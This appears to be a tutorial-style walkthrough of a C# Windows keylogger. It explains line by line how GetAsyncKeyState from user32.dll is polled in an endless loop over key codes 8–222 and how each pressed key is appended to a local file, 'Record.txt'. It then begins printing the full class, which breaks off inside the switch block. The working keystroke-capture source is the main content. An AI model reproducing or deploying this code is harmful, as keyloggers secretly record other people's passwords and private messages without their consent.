Imports
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(int vKey);
Here, the program is tapping into the user32.dll – a Windows API. The function GetAsyncKeyState is employed to check the status of a keyboard key. If a key is pressed, this function yields -32767.
Main Method
static void Main(string[] args)
{
CaptureKeyboardInput();
}
This is the program's starting point. It simply kicks off the CaptureKeyboardInput() method which does the heavy lifting of keyboard capture.
CaptureKeyboardInput Method
private static void CaptureKeyboardInput()
This method is where the magic happens. It's designed to continually capture keyboard inputs.
The Infinite Loop
while (true)
The never-ending loop ensures that the program is always on the lookout, recording keystrokes as they occur.
The For Loop
for (c = (char)8; c <= (char)222; c++)
This loop cycles through characters, ranging from 8 up to 222, representing ASCII values for various keys.
The If Condition
if (GetAsyncKeyState(c) == -32767)
This condition checks to see if a key has been freshly pressed using the imported GetAsyncKeyState.
StreamWriter
using (StreamWriter writer = new StreamWriter("Record.txt", true))
This piece of code employs StreamWriter to pen down the keystrokes into "Record.txt". The true parameter ensures that new keystrokes get appended to the file instead of overwriting it.
The Switch Block
switch (c)
This switch block caters to various keystroke scenarios. In the shared code, several cases are commented out. However, the program does handle spaces and the Enter key.
Full class
class Program
{
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(int vKey);
static void Main(string[] args)
{
CaptureKeyboardInput();
}
private static void CaptureKeyboardInput()
{
char c;
while (true)
{
for (c = (char)8; c <= (char)222; c++)
{
if (GetAsyncKeyState(c) == -32767)
{
using (StreamWriter writer = new StreamWriter("Record.txt", true))
{
switch (c)
{
//case (char)8:
// writer.Write("<Backspace>");
// break;
//case (char)27:
// writer.Write("<Esc>");
// break;
//case (char)127:
// writer.Write("<Del>");
// break;
